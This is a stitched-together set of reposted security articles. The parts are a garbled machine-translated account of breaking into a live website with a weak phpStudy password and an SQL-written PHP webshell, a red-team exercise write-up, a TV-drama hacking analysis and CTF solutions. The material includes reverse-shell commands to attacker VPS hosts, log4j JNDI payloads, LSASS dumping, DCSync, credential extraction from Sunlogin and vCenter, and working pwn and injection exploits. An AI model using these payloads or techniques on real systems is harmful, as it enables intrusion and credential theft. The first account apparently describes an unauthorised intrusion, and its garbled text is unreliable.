直接SQLMAPテストを見つけましたが、結果は次のとおりです。それは保護され、壁で直接ブロックされているため、継続が不可能になります。 VPNに接続します

图片

もう一度見て、それを保護する方法が見つからない場合は、Ping IP 47.xx.xx.xxに直接アクセスして、phpstudyプローブを見つけます

图片

phpstudyでは、デフォルトのデータベースパスワードはrootであるため、弱いパスワードを試し始めます

图片

彼はパスワードが弱いことがわかりました。だから私は47.xx.xx.xx/phpmyadminを訪問しています。残念ながら、それは再び壁に囲まれました。つまり、このファイアウォールは少し無駄です。ノードを変更して、直接ログインします。

图片

その後、SQLステートメントを使用して、テン文をエクスポートし、ログインしてSQLをクリックしてから、ステートメントを実行します

'?php @eval($ _ post [1])?'を選択しますinto outfile 'c: \/www \/pcdd \/pc \ /log1.php';

ここでダブルスラッシュを使用し、1つのスラッシュを使用する目的は、スラッシュを直接解析できないことを恐れることであり、SQLステートメントを実行するために再びブロックされます。

その後、包丁を直接使用してノードを変更しました。 SQLステートメントを実行したため、ブロックされている必要があるため、ノードを直接変更しました。

图片この時点で、シェル内のディレクトリをめくることを忘れないでください。壁の100のノードは、あなたがひっくり返すのに十分ではありません。ステートメントを直接実行して当局を増やし、サーバーに接続できます。ここのウェブマスターは脆弱性を修正し、トロイの木馬は自然に存在しなくなり、再現できません。ただし、ウェブマスターは私のアカウントを削除しませんでした。

图片は、Alibaba CloudのRDSデータベースを使用していることを発見し、パスワードは非常に複雑です。

iv。要約

1。彼のWebサイトでは、クラウドデータベースサイトデータベース分離を使用しています。第一に、より安全であり、第二に、データを処理する方が良いですが、ローカル環境データベースの弱いパスワードを無視するため、侵略されます。 2。情報収集など、詳細は本当に重要です。多くの人々が長い間ターゲットステーションを見つめており、何も得ていません。現時点では、窓と背中のドアを見ることもできます。この記事では、IPに直接アクセスし、環境構成とプローブを発見します。そうしてはじめて、あなたはとてもスムーズに入ることができます。 3.基本は非常に重要です。たとえば、PHPStudy環境のデフォルトのパスワードとデフォルトアドレスはわかりません。 phpstudyのデフォルトパスワードが他のものである場合はどうなりますか?デフォルトの権限がSystem4であることはわかりません。物事をするときは注意してください。ワークロードを最小限に抑える必要があります。たとえば、SQLステートメントを実行する場合、PHPMyAdminがC:WWまたは何かに解析される可能性が非常に高いため、テストするたびにダブルスラッシュバックスラッシュをもたらすことが最善です。たとえば、ディレクトリをフリップしたい場合は、間違いなく壁に囲まれます。ノードを変更するために少なくとも1分間無駄になります。パブリックテストを行った友人は、パブリックテストが時間に対して競い合っていることを知っています。そのため、この場合、ファイアウォールのために当局を直接提起しました。 5.独自のWebサイトを構築するときは怠zyにしないでください。すべての許可を完璧にし、ハッキングされるリスクを最小限に抑えます。

元のリンクから転載:https://mp.weixin.qq.com/s/3y894ht1ubbgdifbitoqzq

0x01 外网打点

资产发现

多测绘平台搜索

https://hunter.qianxin.com/
https://fofa.info/
https://quake.360.cn/

image_X8BSXnkylx.png

image_ctJSWbXB6F.png

多语法搜索

假如某个目标站点为xxxx.com ,我们可以通过不同的语法进行资产搜集,搜集的资产会更全面
这里以fofa为例

domain="xxxx.com"  
host="xxxx.com"  
header="xxxx.com"  
cert="xxxx.com"

敏感信息泄露

对于学校站点的信息搜集,一般来说外网能拿直接权限的点已经很少了,web应用大多是放在vpn后面,因此能弄到一个vpn账号可以说是事半功倍,这时候可以通过语法对此类信息进行挖掘

常用命令如下:

#google语法  
site:*.edu.cn intext: vpn | 用户名 | 密码 | 帐号 | 默认密码  
  
#github  
*.edu.cn password

image_22dBsSWKAO.png

在这次攻防演练里,也是幸运找到了某站点VPN的默认口令,使用的是 姓名拼音/12345678 弱口令

image_i-KtUIqFmy.png

默认口令

对于部分站点,在搭建完成后可能没有更改默认账号密码,这时候可以尝试使用默认账密登录

下面列举一些常见的web站点默认口令

账号:  
admin administrator root user test  
  
密码:  
admin admin123 123456 123 test root

对于一些应用广泛的系统,可以通过google语法搜索其默认密码

image_ejxlTxW5Av.png

这里通过sysadmin/1 成功登入泛微后台

t1sb-w5grl_9Xl3mB_bqn.png

nacos/nacos

image-20220723225803735.png

常见漏洞利用

对于多目标的攻防演练,个人比惯把目标子域url搜集好,去重后批量导进去指纹识别工具,如Goby、fofahub

从指纹识别结果里筛选出重要资产进行突破,使用已知漏洞或day进行攻击

以下为一些批量漏洞利用工具:

https://github.com/Anonymous-ghost/AttackWebFrameworkTools-5.0
https://github.com/d3ckx1/Fvuln
https://github.com/W01fh4cker/Serein

框架类的如log4j、shiro、struts2等

OA类的如致远、泛微、用友、蓝凌等,这里也是找到了目标的用友nc站点

用友nc写shell

56xk-0ba58_-A3uKrDLZX.png

访问接口/servlet/~ic/bsh.servlet.BshServlet执行命令

d5lhwsk0r8_WfpuDtbLpm.png

dnslog探测了一下发现不出网,这里直接写入webshell

1、首先生成一个哥斯拉的jsp木马,然后进行unicode编码

image_796oyMMBO3.png

2、再把输出结果进行url编码

image_zZUpiKMWn1.png

3、payload字段如下,这里写入默认路径为 webapps/nc_web ,实战中灵活应变

String keyWord = URLDecoder.decode("xxxxxx(填入生成内容)xxxxxx", "utf-8");    
BufferedWriter out = new BufferedWriter(new FileWriter("/webapps/nc\_web/test.jsp"));  
out.write(keyWord);  
out.close();

这里直接写入哥斯拉马,连接成功

b8xw2a-s9d_hjEIes_edE.png

shiro无依赖链利用

通过测绘平台找到一个比较偏的资产,直接访问是一个静态页面,但扫描目录后指纹识别一波发现是shiro

直接使用shiro_attack_2.2工具开冲,发现有默认key但是无利用链

image_ylgMY223mT.png

可能有些人看到这里就放弃了,但这可能会错过一个利用点

shiro可以无依赖链利用,感觉有戏尝试一波,相关知识可拜读师傅的文章https://www.le1a.com/posts/a5f4a9e3

这里换用其他工具

image-20220607115446156_b9JXMk_Qxy.png

通过dnslog测试有回显,这里有个注意点:使用 http://dnslog.cn/ 部分站点会拦截,可以换多个dnslog平台测试

image_htB_EhwPH9.png

dnslog有回显接下来就是拿shell了,这里由于固定思维,之前遇到的都是linux系统,先入为主觉得是Linux,结果没利用成功,一开始以为是防火墙拦截,后面探测了一下目录结构,发现是windows,所以这里payload要改变一下

这里可以通过网站快速生成payload
https://x.hacking8.com/java-runtime.html

Linux:
java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 88 CommonsBeanutils1 "bash -c {echo,字段}|{base64,-d}|{bash,-i}"  
字段=bash -i >& /dev/tcp/x.x.x.x/8888 0>&1 base64后的值  
nc -lvp 端口

Windows:
java -jar JNDIExploit-1.0-SNAPSHOT.jar -i VPS地址  
java -cp ysoserial-0.0.6-SNAPSHOT-1.8.3.jar ysoserial.exploit.JRMPListener 88 CommonsBeanutils2 "ldap://VPS地址:1389/Basic/Command/Base64/d2hvYW1p"  
d2hvYW1p为命令的base64,这里是执行命令whoami

image_wvD-c4KvV-.png

0x02 内网渗透

杀软识别

拿到一台机器后,一般先看一下安装了什么安全防护产品

tasklist /svc

-rr-ew4zvx_bjnBTV1EhH.png

探测了一下发现安装了360,把之前准备好的bypass360马子扔上去,成功上线

chm2qtadrh_QYKNvySqi7.png

隧道搭建

ping了一下发现机器出网,可以上frp搭建反向代理隧道

7brv9u2oe7_ljYwWodDhg.png

proxifier配置相应的端口账密便可以进入内网

h0a0j4rf5-_22woqcMQL4.png

横向思路

1、优先拿运维机器,一般存放着大量的账号密码信息

2、其次是集权设备,Vcenter、堡垒机、天擎这些,有day上day,没day寻找其他方法

3、有域的情况下,争取拿到域管hash,或者通过已知漏洞拿下域控

横向移动

在扫描之前,可以先通过netspy筛选可达的网段再进行扫描

https://github.com/shmilylty/netspy

image_aAWQmEgoLW.png

接着上fscan对可达各个C段开扫,追求效率可只扫描22、80、443、445、1433、8080等重点端口

由于扫描会引起安全设备告警,因此横向尽可能在一小时内结束,避免入口机器被关机下线,对于拿到的机器可以通过计划任务进行维权,尽可能多拿几台机器保证口子不会掉,拿到机器后继续做信息搜集,网段,机器信息,敏感文件,xshell、navicat密码等常规的这里就不细说了

dump lssas

正常没有杀软我们可以通过mimikatz抓取密码

但很多时候mimikatz会被拦截,这时候可以通过一些LOLBINS方法dump出来本地解

image_xvtqu2JT5W.png

这里使用的dump64.exe为白程序,位置位于

C:\Program Files (x86)\Microsoft Visual Studio\Installer\Feedback\

dump64.exe pid c:\\users\\xxx\\Desktop\\out.dmp

测试可过360和火绒

image_w7zffbKEzi.png

image_x0lqYBmjQ2.png

密码复用

08机器之前可以抓到明文,抓不到明文可以尝试到cmd5上进行破解,破解率较高

https://www.cmd5.com
https://www.somd5.com

获取密码之后可以通过超级弱口令工具进行密码复用爆破,拿着获取的密码重新组合字典,对网段内的机器进行爆破,这次也是成功拿下了几十台机器

image_B-HbFja15K.png

若hash解不出来,这时候我们可以根据开放的端口进行PTH,下面列举一些

wmiexec  135端口  
psexec   445端口  
evil-winrm   5985端口

向日葵读取密码

拿到机器的账号密码之后,若机器开启了3389端口可以选择rdp远程桌面过去,没开的话可以开启3389端口进行远程连接

#执行以下命令操作注册表来开启机器3389远程桌面服务  
REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal" "Server /v fDenyTSConnections /t REG\_DWORD /d 00000000 /f  

#使用以下命令添加防火墙放行策略  
netsh firewall add portopening protocol = TCP port = 3389 name = rdp  

但如果是正常办公时间,贸然登录过去会很容易引起对方的发现,若进程中有sunlogin进程,可以读取识别码和验证码,通过向日葵连接相对比较隐蔽

duk5gbct0f_meMyYaCbN7.png

注册表读取配置信息:

reg query HKEY\_USERS\\.DEFAULT\\Software\\Oray\\SunLogin\\SunloginClient\\SunloginInfo  
reg query HKEY\_USERS\\.DEFAULT\\Software\\Oray\\SunLogin\\SunloginClient\\SunloginGreenInfo  

向日葵默认配置文件路径:  
安装版:C:\\Program Files\\Oray\\SunLogin\\SunloginClient\\config.ini  
便携版:C:\\ProgramData\\Oray\\SunloginClient\\config.ini  
本机验证码参数:encry\_pwd  
本机识别码参数:fastcode(去掉开头字母)  
sunlogincode:判断用户是否登录状态

读注册表:

glkpzmabud_771pPqH2eN.png

读默认配置文件:

fastcode去掉前面的数字k为本机识别码278263893

0k5feqz515_ejswLYRqVy.png

使用脚本进行解密获得本机验证码

r10bnuf1d3_sY377ayb3l.png

运维机

横向的时候优先拿运维机,一般运维机存储着大量的账号密码信息,比如这次无意中发现的运维机器使用的是弱口令administrator/111111

另外还可以通过cs插件查看机器历史登录IP对运维人员进行锁定

拿下后可通过命令行快速收集服务器、网络拓扑、密码本、公司信息等重要文件。

dir /a /s /b d:\\" \*.txt"   
dir /a /s /b d:\\"\* pass \*"   
dir /a /s /b d:\\"\* login \*"   
dir /a /s /b d:\\"\* user \*"  
dir /a /s /b c:\\password.txt  
dir /a /s /b c:\\\*.conf \*.ini\* .inc\* .config   
dir /a /s /b c:\\conf.\* config.\*   
dir /a /s /b c:\\\*.txt \*.xls\* .xlsx\* .docx | findstr "拓扑"  
dir /a /s /b c:\\\*.conf \*.ini\* .inc\* .config | findstr "运维"  
dir /a /s /b c:\\\*.txt \*.xls\* .xlsx\* .docx | findstr "密码" >C:\\Users\\1.txt  

最后收集了一堆密码本,可登录到各重要系统:

H3C堡垒机

ilyp6ixpq1_a6ILzCKmfM.png

禅道

a680cz-6mv_TJX707htOa.png

域控

1、通过fscan扫描的时候可以检索AD关键字发现域控

[*]192.168.10.38 #非真实域控ip  
   [->]D1-Prod-AD-P01  
   [->]192.168.10.38  
     
[*]192.168.10.20 #非真实域控ip  
   [->]AD  
   [->]192.168.10.20

2、域内主机 DNS 一般就是域控地址

接着可以通过该机器是否开放53和389端口进行进一步确认

这次攻防演练的其中一个目标,通过密码复用爆破成功的某台机器里,刚好存在着域管进程,提权到system权限后注入到域管进程,通过Dcsync成功获取域管密码的hash值,其中一个被禁用的账户刚好可以通过cmd5解出,解出明文密码并激活账户,成功登录两台域控机器,除此以外还可以尝试域漏洞、NTLM中继等

net group "domain admins" /domain  
dcsync domain xxxx  
shell net user xxxx  
shell net user xxxx /active:yes /domain

image_CbIuSx-DB0.png

image_lKpb0bidqu.png

Vcenter

在扫描的过程中发现几台Vcenter,Vcenter常规有三种打法,分别是

CVE-2021-22005-rce、CVE-2021-21972-rce和log4j

前两个测试没成功,log4j通过dnslog探测漏洞存在,vcenter的漏洞触发点在xff头部

java -jar JNDIExploit-1.3-SNAPSHOT.jar -l 1389 -p 8889 -i 0.0.0.0  
nc -lvp 9000  
${jndi:ldap://VPSIP:1389/Deserialization/CommonsBeanutils1/ReverseShell/VPSIP/9000}

4s6zq8tgso_dj3CuwYEQo.png

styrmfmfl2_AgaGTkpKg8.png

但一般打完是非交互式shell,没有回显,这里使用命令切换为交互式shell

python -c 'import pty;pty.spawn('/bin/bash')'

重置密码

/usr/lib/vmware-vmdir/bin/vdcadmintool

不重置密码获取密码

https://github.com/shmilylty/vhost_password_decrypt

#获取vc用户的密码  
cat /etc/vmware-vpx/vcdb.properties  
  
#把加密后的密码单独拿出来,  
psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip\_address,user\_name,password from vpx\_host;" > password.enc  
#改成这种格式\*  
H8BBiGe3kQqaujz3ptZvzhWXXZ0M6QOoOFIKL0p0cUDkWF/iMwikwt7BCrfEDRnXCqxoju4t2fsRV3xNMg==\*  
zR20RvimwMPHz7U6LJW+GnmLod9pdHpdhIFO+Ooqk0/pn2NGDuKRae+ysy3rxBdwepRzNLdq6+paOgi54Q==\*  
Q81OIBXziWr0orka0j++PKMSgw6f7kC0lCmITzSlbl/jCDTuRSs07oQnNFpSCC6IhZoPPto5ix0SccQPDw==\*  
R6HqZzojKrFeshDIP8vXPMhN28mLDHiEEBSXWYXNHrQQvHcuLOFlLquI2oLRfqLiPlHwkmAxUj9hKj3VZA==  
  
#拿解密key  
cat /etc/vmware-vpx/ssl/symkey.dat  
Windows:C:\\ProgramData\\VMware\\vCenterServer\\cfg\\vmware-vpx\\ssl\\symkey.dat  
Linux:/etc/vmware-vpx/ssl/symkey.dat  
  
#破解  
python decrypt.py symkey.dat password.enc pass.txt

然后就可以登入web控制台了

1r01obzkhj_ogBBaw34kH.png
wrhrlq1_b0_FPzcE7l_qW.png

云管平台

通过运维机的xshell查找历史记录拿下了主备数据库,然后执行sql语句成功获取出了云管平台的hash

s0rd_kjpjv_87EAPEGHd4.png

到cmd5上进行解密,一块钱拿下云管平台很划算

ju3rv8cne0_h6vf8T_VC_.png

gg-wo7d5y4_4dPpSzvI37.png

但某些系统加密方式不是使用md5的,比如之前碰到的一些系统使用的是Bcrypt加密方式,像这种不可逆的加密方式可以通过替换hash进行登录

$2a$10$z0hHT9rltH59VvcazrSzOuVDNr05shwja1aZmD8ctzDbuNNvdpNIS

image_jqNCTT6FpJ.png

image_X-SfF9SMpb.png

官网

当我们拿到集权设备后,一般里面会有靶标系统或核心系统,这些分数是很高的,这次演练某目标就是通过云管平台登录官网机器,抓取浏览器密码成功获取后台密码,成功拿下官网控制权

0dd0amrx3g_9fOtAaJESy.png

gitlab仓库

根据评分规则刷完路径分之后,可以根据目标性质找一些核心关键的系统跟裁判battle,像这种存有大量代码的仓库可以作为重大成果进行提交

j07_ng7z14_wYcVLx23dN.png






转载自原文地址:https://forum.butian.net/share/1780
本文仅对影视剧中涉及的技术进行分析,对剧情不做详细的说明。感兴趣的童鞋可以去看看。
PS: 技术分析按照剧情顺序进行(1~4)集

前言

电视开头,便给我展示了第一种攻击技术,恶意充电宝。看似利用充电宝给手机充电,但是在充电的过程中,便已经获取了用户的信息。
b1kurg32qch15386.png

4zk1ivqg0f015388.png

利用adb命令获取到手机的照片信息

实现原理

这种方法,在我前面的文章中有所涉及《利用树莓派监控女盆友手机》,其实很简单,就是利用adb命令获取手机的信息,当然也可以利用adb命令安装shell。

实现难度

容易,只需要开启手机开发者先选即可。
但是在现实中,手机开发者选项是默认关闭的。像电视中的情形是不会实现的。

信息收集

基于朋友圈收集信息

cn0si4tfchx15393.png


通过对朋友圈非朋友可见十条 查看最近朋友圈的动态,获取对方的相关的信息。再加上推测,得知女主老公出轨的可能性。

表哥建议

非工作需要,还是尽量在微信中,将此功能关闭吧。

基于微信步数的信息收集

ujcfdge4flv15396.png


通过微信步数,可以获取当前在干嘛?如早上八点你刚睡醒,好友的步数已达到5000步,说明他很有可能在跑步锻炼身体。

基于钓鱼链接的信息收集

1dfgt23nlhe15400.png


在表哥前面的文章中,也写过类似的文章。通过探针可以简单的获取目标的IP地址,GPS信息,以及照片,录音等等。但是随着手机安全性能的提高,都会有弹窗提示。

利用百度网盘备份数据

xisgpk4szsc15401.png


这个在生活中,常常遇到。而且在安装百度网盘后,备份通讯录等信息是默认开启的。可以一试!(最好将头像也换掉,这样才真实)

利用滴滴分享行程

1o4txt40rgr15404.png


通过以上方案,主人公成功得到了对方的手机号码,并通过微信查找到了相关的账号。

当然网安专家的电脑中毒了。
no4bs403cqh15407.png

对驱动盘符的破解

trj1px344bs15408.png


这里当然是导演给了密码,要是现实中,复杂的密码程度,估计等这剧结束了,都没破解成功。

控制网吧网络

yujje1e0tvl15409.png


这个应该用的是,运维app或者小程序,进行管理。难度不大。

社会工程学应用

通过在捡垃圾,获取对方有用的信息。所以在日常生活中,快递、外卖等单子如果不处理,都会造成一定的信息泄露。

m5pmq35o0bv15411.png

通过对方一个账号信息,枚举其他账号信息,如贴吧 微博 QQ空间,从而获取对方相关个人信息。

4f1nho2hbou15413.png

WiFi探针

早在之前,央视315就曝光了WiFi探针窃取用户信息的案例。原理是当用户手机无线局域网处于打开状态时,会向周围发出寻找无线网络的信号。一旦探针盒子发现这个信号后,就能迅速识别出用户手机的MAC地址,转换成IMEI号,再转换成手机号码。
因此,一些公司将这种小盒子放在商场、超市、便利店、写字楼等地,在用户毫不知情的情况下,搜集个人信息,甚至包括婚姻、教育程度、收入等大数据个人信息。

qrkghpalohr15414.png

android shell

wionehflil115418.png


从视频可以看出,很基础的msf控制android命令。但是能直接操纵手机编辑,这个就有点夸张了。

3mowglnkjjt15422.png

wifi钓鱼

利用fluxion进行WiFi钓鱼。

345py0bfzcy15424.png

PS (4-8)集,仅对影视剧中的技术进行分析,剧情、人物不加以说明。

接着来看,为了获取诈骗集团的数据,溜到机房下载服务器数据。
rxl0vmxp51z15427.png


这里用到的软件应该用的是XFTP。这也算是物理攻击了吧!

物理攻击

yopynsizsaj15428.png


所谓物理攻击,便是攻击者无法在软件层面或者系统方面找到相关的漏洞。一时无法拿下目标,会到实地考察,通过社会工程学等方法,偷偷潜入目标内部进行攻击。这种攻击,最为致命。
1khlf325urq15429.png

在网安大赛中,用到的工具。在前面的镜头中,应该是利用owasp扫描目标网站的漏洞。说实在的,页面一直没有动,不知道扫了个啥!
owasp扫描器

在攻入了二级防护后,第三局开始,应该还是msf的界面。设置的msf的配置参数,但一直没有exploit不知道在等什么。

fuiklrfiu4d15433.png


倒计时三分钟的时候,应该是开始了sqlmap注入。
xabxlmjonu215437.png

从视频可以看出,用到的命令为
sqlmap -r 1.txt --batch --level 5 -v current-user

sqlmap的使用,在之前的文章中提到的比较多。上面这条命令应该是通过post注入,获取当前系统的用户。

参数解读:

-r 1.txt txt中存放的便是目标的请求数据,一般用burp抓包,保存为txt即可。

-- batch 执行过程中不需要用户输入YES or NO,将会使用sqlmap提示的默认值YES一直运行下去。

--level 风险级别,默认为1,当level为5时会测试很多的payload,效率会降低。

–current-user 获取当前用户名。

总结

电视剧中涉及到的网络安全工具,都是我们平时常见的网络安全知识。影视剧中稍有扩大,但是从剧情方面来看,还是非常棒的,尤其在给大众普及网络安全知识的同时,将网络水军、网络诈骗、杀猪盘、网贷等和百姓有关的话题紧密联系在一起。在视频末尾都会对大家普及一些网络安全知识,值得推荐!


转自文章来源: https://blog.bbskali.cn/3666.html


一、WEB

1.web_BaliYun

进去之后一个文件上传,而且只能上传图片。访问www.zip拿到源码

fqvfxc0scfw15417.png网站源码:index.php:<?php
include("class.php");
if(isset($_GET['img_name'])){
    $down = new check_img(); # here
    echo $down->img_check();
}
if(isset($_FILES["file"]["name"])){
    $up = new upload();
    echo $up->start();
}
?>
class.php:<?php
class upload{
    public $filename;
    public $ext;
    public $size;
    public $Valid_ext;

    public function __construct(){
        $this->filename = $_FILES["file"]["name"];
        $this->ext = end(explode(".", $_FILES["file"]["name"]));
        $this->size = $_FILES["file"]["size"] / 1024;
        $this->Valid_ext = array("gif", "jpeg", "jpg", "png");
    }

    public function start(){
        return $this->check();
    }

    private function check(){
        if(file_exists($this->filename)){
            return "Image already exsists";
        }elseif(!in_array($this->ext, $this->Valid_ext)){
            return "Only Image Can Be Uploaded";
        }else{
            return $this->move();
        }
    }

    private function move(){
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$this->filename);
        return "Upload succsess!";
    }

    public function __wakeup(){
        echo file_get_contents($this->filename); # here 2
    }
}


class check_img{
    public $img_name;
    public function __construct(){
        $this->img_name = $_GET['img_name']; # here
    }

    public function img_check(){
        if(file_exists($this->img_name)){ # here 1
            return "Image exsists";
        }else{
            return "Image not exsists";
        }
    }
}

很明显得phar反序列化,上传再phar包含即可,代码也给定了上传目录为upload,文件名未变。

更多有关phar反序列化可参考

php反序列化拓展攻击详解--phar: https://xz.aliyun.com/t/6699

Phar与Stream Wrapper造成PHP RCE的深入挖掘: https://xz.aliyun.com/t/2958

# test.php
<?php
class upload{
    public $filename;
    public function __construct(){
      $this->filename = 'file:///flag';
    }
}

$phar = new Phar('Tao.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$payload = new upload();
$phar -> setMetadata($payload);
$phar -> stopBuffering();
php --define phar.readonly=0 test.php
mv Tao.phar Tao.gif

类里面看到了可以出发phar的函数file_exists。以及可以读flag的函数。那么思路就很清晰了。直接上传一个Tao.gif,内容是upload类,属性filename为/flag。然后传参img_name为phar://upload/Tao.gif,去触发我们的phar包即可

上传Tao.gif,之后?img_name=phar://upload/Tao.gif即可get flag.

ouo@GOTA:~$ curl -vv http://39.107.82.169:27417/index.php?img_name=phar://upload/Tao.gif | grep "flag"
.........................................
> GET /index.php?img_name=phar://upload/Tao.gif HTTP/1.1
> Host: 39.107.82.169:27417
> User-Agent: curl/7.58.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Mon, 19 Sep 2022 10:42:08 GMT
< Server: Apache/2.4.25 (Debian)
< X-Powered-By: PHP/5.6.40
< Vary: Accept-Encoding
< Content-Length: 1925
< Content-Type: text/html; charset=UTF-8
<
.........................................
                    flag{s8HJQg5ftEJ9Kcc65Mn55K9XjRRgYVQg}

2.easylogin

sql注入,burp抓包时发现gbk乱码,意识到是宽字节注入。

username=admin%df'&password=admin

报错:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin�''' at line 1

测试联合注入发现:

fvhdvtxxzi415419.jpg

总是出现语法错误,排查后发现select和union等会被替换为空,比较简单利用双写绕过即可。

直接联合注入密码无法登陆,联想到常规站点开发密码会被md5,于是用md5去加密,由于无法用引号,选择16进制绕过。

0sfbjq0e2qv15421.jpg

建立虚拟表直接登录。后台逻辑是MD5比较。有类似原题username=admin%df%27ununionion%0aseselectlect%0a66,66,0x3437626365356337346635383966343836376462643537653963613966383038#&password=aaa

3.web_letmeguess_1

题目提示弱口令,爆破得密码admin123

xkqnrsw0mdv15423.png

GET /index.php?ip=127.0.0.1%0Als HTTP/1.1
Host: 39.107.75.148:19304
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://39.107.75.148:19304/index.php?ip=ip
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=r4mutkqgni200nfu6ar3qj3jp7; td_cookie=3097567335
Connection: close

# 读取源代码
?ip=127.0.0.1%0Apaste%09index.phpArray
(
    [0] => <?php
    [1] => 
    [2] => header('Content-type:text/html; charset=utf-8');
    [3] => 
    [4] => // 开启Session
    [5] => 
    [6] => session_start();
    [7] => 
    [8] => 
    [9] => 
    [10] => // 首先判断Cookie是否有记住了用户信息
    [11] => 
    [12] => if (isset($_COOKIE['username'])) {
    [13] => 
    [14] => # 若记住了用户信息,则直接传给Session
    [15] => 
    [16] => $_SESSION['username'] = $_COOKIE['username'];
    [17] => 
    [18] => $_SESSION['islogin'] = 1;
    [19] => 
    [20] => }
    [21] => 
    [22] => if (isset($_SESSION['islogin'])) {
    [23] => 
    [24] => // 若已经登录
    [25] => 
    [26] => 
    [27] => $res = FALSE;
    [28] => 
    [29] => if (isset($_GET['ip']) && $_GET['ip']) {
    [30] =>     $ip = $_GET['ip'];
    [31] =>     $m = [];
    [32] =>     if (!preg_match_all("/(\||&|;| |\/|cat|flag|touch|more|curl|scp|kylin|echo|tmp|var|run|find|grep|-|`|'|:|<|>|less|more)/", $ip, $m)) {
    [33] =>         $cmd = "ping -c 4{$ip}";
    [34] =>         exec($cmd, $res);
    [35] =>     } else {
    [36] =>         $res = 'Hacker,存在非法语句';
    [37] =>     }
    [38] => }
    [39] => 
    [40] => 
    [41] => } else {
    [42] => 
    [43] => // 若没有登录
    [44] => 
    [45] => echo "您还没有登录,请<a href='login.html'>登录</a>";
    [46] => 
    [47] => }
    [48] => 
    [49] => ?>

正则拦截如下:

if (!preg_match_all("/(\||&|;| |\/|cat|flag|touch|more|curl|scp|kylin|echo|tmp|var|run|find|grep|-|`|'|:|<|>|less|more)/", $ip, $m)) 

在当前目录中发现kylin,过滤也发现kylin,猜测flag在此目录下,但是由于/给拦截了,尝试进入目录后进行文件读取,但题目过滤了kylin,利用linux系统得特性,正则查看目录文件

# 读取kylin目录
?ip=
127.0.0.1%0Als%09ky???

#输出:
<pre>
Array
(
    [
0] => flag.txt
)
</pre>
#final payload
?ip=127.0.0.1%0Acd%09ky???%0apaste%09fl* 
# %09 => '    '(tab),其实${IFS}也可以
?ip=127.0.0.1%0Acd%09ky???%0apaste
${IFS}fl*
?ip=127.0.0.1%0Aca
""t${IFS}$(fi""nd${IFS}.)
c0vpfbrbftx15434.jpg

4.web_Eeeeasy_SQL

源码:直接利用16进制字符比较,用case when一个个正则出来。利用binary来区分大小写。

lfimhd2rhke15436.png

脚本直接注
import requests
proxy={
"http":"127.0.0.1:8080"}
result=
"0x"
k=
0
for j in range(100):
    
for i in range(33,126):
        k=hex(i)
        k=k[
2:]
        result += k
        password = 
"or(case\x09when\x09(binary\x09username>"+result+")\x09then\x091\x09else\x099223372036854775807+1\x09end)#"
        data = {
"username""aa\\""password": password}
        re = requests.post(data=data, url=url,proxies=proxy, allow_redirects=
False)
        
# sleep(0.1)
        print(re.status_code)
        
if "msg" not in re.text:
            result = result[:
-2]
            l=hex(i
-1)
            l=l[
2:]
            result +=l
            print(result)
            
break
        
else:
            result = result[:
-2]
最后注出来
username=Flag_Account&password=G1ve_Y0u_@_K3y_70_937_f14g!!!提交登录进去后,可以看到是一个简单的readfile。过滤/flag而已,不能直接用/flag,简单用/proc/self/root/flag绕过<?php
session_start();

if(isset($_SESSION['name'])){
 if($_SESSION['name'] === 'Flag_Account'){
     $file = urldecode($_GET['file']);
     if(!preg_match('/^\/flag|var|tmp|php|log|\%|sess|etc|usr|\.|\:|base|ssh|http/i',$file)){
         readfile($file);
 }else{
     echo 'try again~';
 }
 }
     show_source(__FILE__);
 
}else{
 echo '登陆一下吧~';
}

emmm1gxh0fp15439.jpg

wjwdt3wiet415440.png


二、Pwn

1. H3ll0Rop

基础的ret2libc

from pwn import *

context.log_level=
'debug'
#p = process('./H3ll0Rop')
p = remote(
'47.93.30.67',52705)
elf = ELF(
'./H3ll0Rop')
libc = ELF(
'./libc-2.23.so')
pop_rdi = 
0x0000000000400753
#vuln = 0x400647
vuln = 
0x4006CC

#leak libc
payload = 
b'a'*(0x60+0x8)+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(vuln)
p.sendlineafter(
b'me???',payload)
libc_base = u64(p.recvuntil(
b'\x7f')[-6:].ljust(8,b'\x00')) - libc.sym['puts']
print(
'libc_base',hex(libc_base))
system = libc_base + libc.sym[
'system']
binsh = libc_base + next(libc.search(
b'/bin/sh'))

#getshell
payload = 
b'a'*(0x60+0x8)+p64(pop_rdi)+p64(binsh)+p64(system)+p64(vuln)
p.sendlineafter(
b'me???',payload)

p.interactive()
p.close()

2.5_1H3ll0Rop

from pwn import*
context(os=
'linux',arch='amd64')
context.log_level=True
elf=ELF(
'H3ll0Rop')
libc=ELF(
'libc-2.23.so')
#p = process(["./ld-2.27.so", "./a"],env={"LD_PRELOAD":"./libc-2.27.so"})
#p=process('./H3ll0Rop',env={'LD_PRELOAD':'./libc-2.23.so'})
#p=process('./H3ll0Rop')
p=remote(
'47.94.151.201',51850)
p.recvuntil(
'game with me???\n\n')



payload=
'a'*0x68+p64(0x0000000000400753)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x4006CC)

p.sendline(payload)
p.recvuntil(
'an pwn it\n\n')
puts=u64(p.recv(6).ljust(8,
'\x00'))


libcbase=puts-libc.sym[
'puts']
system=libcbase+libc.sym[
'system']

binsh=libcbase+next(libc.search(
'/bin/sh'))
print hex(libcbase)
p.recvuntil(
'game with me???\n\n')



payload=
'a'*0x68+p64(0x0000000000400753)+p64(binsh)+p64(system)


#gdb.attach(p)
raw_input()
p.sendline(payload)

p.interactive()


三、Misc

1.简单的Base

题目给了一串密文666c61677b57656c636f6d655f686572657d, hex解码

